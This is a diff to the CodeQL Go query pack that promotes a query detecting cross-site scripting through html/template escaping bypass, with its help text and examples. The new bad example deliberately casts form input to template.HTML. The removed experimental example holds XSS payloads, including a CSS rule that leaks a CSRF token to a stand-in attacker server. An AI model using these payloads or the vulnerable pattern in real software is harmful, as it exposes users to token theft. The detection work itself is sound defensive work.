diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected index 609e21e82ec0..20fcacbc3896 100644 --- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected +++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected index 46f21d921ef7..7ff321d24ab9 100644 --- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected @@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected index a206ef2364ab..3506e1020dde 100644 --- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected index 751c76041a29..ac2e3cb4c3a9 100644 --- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -20,7 +20,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql ql/go/ql/src/experimental/CWE-74/DsnInjection.ql ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql -ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql ql/go/ql/src/experimental/CWE-918/SSRF.ql diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp similarity index 79% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index a842a685f238..2a0d27304c95 100644 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -8,7 +8,7 @@ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

-

Using them on user-provided values will result in an opportunity for XSS.

+

Using them on user-provided values allows for a cross-site scripting vulnerability.

@@ -19,10 +19,10 @@

In the first example you can see the special types and how they are used in a template:

- +

To avoid XSS, all user input should be a normal string type.

- + diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql new file mode 100644 index 000000000000..6dc0f702841c --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -0,0 +1,119 @@ +/** + * @name HTML template escaping bypass cross-site scripting + * @description Converting user input to a special type that avoids escaping + * when fed into an HTML template allows for a cross-site + * scripting vulnerability. + * @kind path-problem + * @problem.severity error + * @security-severity 6.1 + * @precision high + * @id go/html-template-escaping-bypass-xss + * @tags security + * external/cwe/cwe-079 + * external/cwe/cwe-116 + */ + +import go + +/** + * A type that will not be escaped when passed to a `html/template` template. + */ +class UnescapedType extends Type { + UnescapedType() { + this.hasQualifiedName("html/template", + ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"]) + } +} + +/** + * Holds if the sink is a data value argument of a template execution call. + * + * Note that this is slightly more general than + * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`, + * which finds calls through interfaces which the receiver implements. This + * finds more results in practice. + */ +predicate isSinkToTemplateExec(DataFlow::Node sink) { + exists(Method fn, string methodName, DataFlow::CallNode call | + fn.hasQualifiedName("html/template", "Template", methodName) and + call = fn.getACall() + | + methodName = "Execute" and sink = call.getArgument(1) + or + methodName = "ExecuteTemplate" and sink = call.getArgument(2) + ) +} + +/** + * Data flow configuration that tracks flows from untrusted sources to template execution calls + * which go through a conversion to an unescaped type. + */ +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { + private newtype TConversionState = + TUnconverted() or + TConverted(UnescapedType unescapedType) + + /** + * The flow state for tracking whether a conversion to an unescaped type has + * occurred. + */ + class FlowState extends TConversionState { + predicate isBeforeConversion() { this instanceof TUnconverted } + + predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) } + + /** Gets a textual representation of this element. */ + string toString() { + this.isBeforeConversion() and result = "Unconverted" + or + exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) | + result = "Converted to " + unescapedType.getQualifiedName() + ) + } + } + + predicate isSource(DataFlow::Node source, FlowState state) { + state.isBeforeConversion() and source instanceof ActiveThreatModelSource + } + + predicate isSink(DataFlow::Node sink, FlowState state) { + state.isAfterConversion(_) and isSinkToTemplateExec(sink) + } + + predicate isBarrier(DataFlow::Node node) { + node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer + or + node.getType() instanceof NumericType + } + + /** + * When a conversion to a passthrough type is encountered, transition the flow state. + */ + predicate isAdditionalFlowStep( + DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState + ) { + exists(ConversionExpr conversion, UnescapedType unescapedType | + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion(unescapedType) and + succ.(DataFlow::TypeCastNode).getExpr() = conversion and + pred.asExpr() = conversion.getOperand() and + conversion.getType().getUnderlyingType*() = unescapedType + ) + } +} + +module UntrustedToTemplateExecWithConversionFlow = + TaintTracking::GlobalWithState; + +import UntrustedToTemplateExecWithConversionFlow::PathGraph + +from + UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType +where + UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and + templateExecCall.getState().isAfterConversion(unescapedType) +select templateExecCall.getNode(), untrustedSource, templateExecCall, + "Data from an $@ will not be auto-escaped because it was converted to template." + + unescapedType.getName(), untrustedSource.getNode(), "untrusted source" diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go new file mode 100755 index 000000000000..d9bd46a6b9d7 --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go @@ -0,0 +1,13 @@ +package main + +import ( + "html/template" + "net/http" +) + +func bad(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, template.HTML(username)) +} diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go new file mode 100755 index 000000000000..8460f00ba1de --- /dev/null +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go @@ -0,0 +1,13 @@ +package main + +import ( + "html/template" + "net/http" +) + +func good(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, username) +} diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go index 008b738f4cae..192774f0307d 100644 --- a/go/ql/src/Security/CWE-079/StoredXss.go +++ b/go/ql/src/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go index d73a205ff3fb..a7843e1cfe50 100644 --- a/go/ql/src/Security/CWE-079/StoredXssGood.go +++ b/go/ql/src/Security/CWE-079/StoredXssGood.go @@ -3,12 +3,12 @@ package main import ( "html" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md new file mode 100644 index 000000000000..ab02478bf4a2 --- /dev/null +++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md @@ -0,0 +1,4 @@ +--- +category: newQuery +--- +* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql deleted file mode 100644 index ff63f6bfbec7..000000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ /dev/null @@ -1,153 +0,0 @@ -/** - * @name HTML template escaping passthrough - * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML - * template, it may result in XSS. - * @kind path-problem - * @problem.severity warning - * @id go/html-template-escaping-passthrough - * @tags security - * experimental - * external/cwe/cwe-079 - */ - -import go - -/** - * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. - * The `targetType` parameter gets populated with the name of the PassthroughType, - * and `conversionSink` gets populated with the node where the conversion happens. - */ -predicate flowsFromUntrustedToConversion( - DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink -) { - exists(DataFlow::Node source | - UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and - source = untrusted and - UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType) - ) -} - -/** - * A name of a type that will not be escaped when passed to - * a `html/template` template. - */ -class PassthroughTypeName extends string { - PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } -} - -module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { - exists(Type typ | - typ = sink.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) } - - predicate isBarrier(DataFlow::Node node) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType - } -} - -/** - * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is - * converted into a special "passthrough" type which will not be escaped by the - * template generator; this allows the injection of arbitrary content (html, - * css, js) into the generated output of the templates. - */ -module UntrustedToPassthroughTypeConversionFlow = - TaintTracking::Global; - -/** - * Holds if the provided `conversion` node flows into the provided `execSink`. - */ -predicate flowsFromConversionToExec( - DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink -) { - PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and - PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion, - targetType) -} - -module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) } - - additional predicate isSourceConversionToPassthroughType( - DataFlow::TypeCastNode source, PassthroughTypeName name - ) { - exists(Type typ | - typ = source.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow for reasoning about when the result of a conversion to a - * PassthroughType flows to a template execution call. - */ -module PassthroughTypeConversionToTemplateExecutionCallFlow = - TaintTracking::Global; - -/** - * Holds if the sink is a data value argument of a template execution call. - */ -predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { - exists(Method fn, string methodName | - fn.hasQualifiedName("html/template", "Template", methodName) and - call = fn.getACall() - | - methodName = "Execute" and sink = call.getArgument(1) - or - methodName = "ExecuteTemplate" and sink = call.getArgument(2) - ) -} - -module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow from a `ActiveThreatModelSource` into a template executor - * call. - */ -module FromUntrustedToTemplateExecutionCallFlow = - TaintTracking::Global; - -import FromUntrustedToTemplateExecutionCallFlow::PathGraph - -/** - * Holds if the provided `untrusted` node flows into the provided `execSink`. - */ -predicate flowsFromUntrustedToExec( - FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted, - FromUntrustedToTemplateExecutionCallFlow::PathNode execSink -) { - FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink) -} - -from - FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource, - FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName, DataFlow::Node conversion -where - // A = untrusted remote flow source - // B = conversion to PassthroughType - // C = template execution call - // Flows: - // A -> B - flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and - // B -> C - flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and - // A -> C - flowsFromUntrustedToExec(untrustedSource, templateExecCall) -select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source", conversion, "converted" diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go deleted file mode 100755 index a23dfa153ded..000000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go +++ /dev/null @@ -1,70 +0,0 @@ -package main - -import ( - "html/template" - "os" -) - -func main() {} -func source(s string) string { - return s -} - -type HTMLAlias = template.HTML - -func checkError(err error) { - if err != nil { - panic(err) - } -} - -// bad is an example of a bad implementation -func bad() { - tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) - tmplTag, _ := template.New("test").Parse(`Hi \n`) - tmplScript, _ := template.New("test").Parse(``) - tmplSrcset, _ := template.New("test").Parse(``) - - { - { - var a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - { - var a template.HTML - a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - var a HTMLAlias - a = HTMLAlias(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - } - } - { - var c = template.HTMLAttr(source(`href="https://example.com"`)) - checkError(tmplTag.Execute(os.Stdout, c)) - } - { - var d = template.JS(source("alert({hello: 'world'})")) - checkError(tmplScript.Execute(os.Stdout, d)) - } - { - var e = template.JSStr(source("setTimeout('alert()')")) - checkError(tmplScript.Execute(os.Stdout, e)) - } - { - var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) - checkError(tmpl.Execute(os.Stdout, b)) - } - { - var f = template.Srcset(source(`evil.jpg 320w`)) - checkError(tmplSrcset.Execute(os.Stdout, f)) - } - { - var g = template.URL(source("javascript:alert(1)")) - checkError(tmpl.Execute(os.Stdout, g)) - } -} diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go deleted file mode 100755 index 3c0a8ad4eb4a..000000000000 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go +++ /dev/null @@ -1,15 +0,0 @@ -package main - -import ( - "html/template" - "os" -) - -// good is an example of a good implementation -func good() { - tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) - { // This will be escaped: - var escaped = source(`link`) - checkError(tmpl.Execute(os.Stdout, escaped)) - } -} diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected deleted file mode 100644 index c91fe813e9fe..000000000000 --- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ /dev/null @@ -1,76 +0,0 @@ -#select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | -edges -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 | -models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | -nodes -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | -subpaths diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref deleted file mode 100644 index c425b9a445b7..000000000000 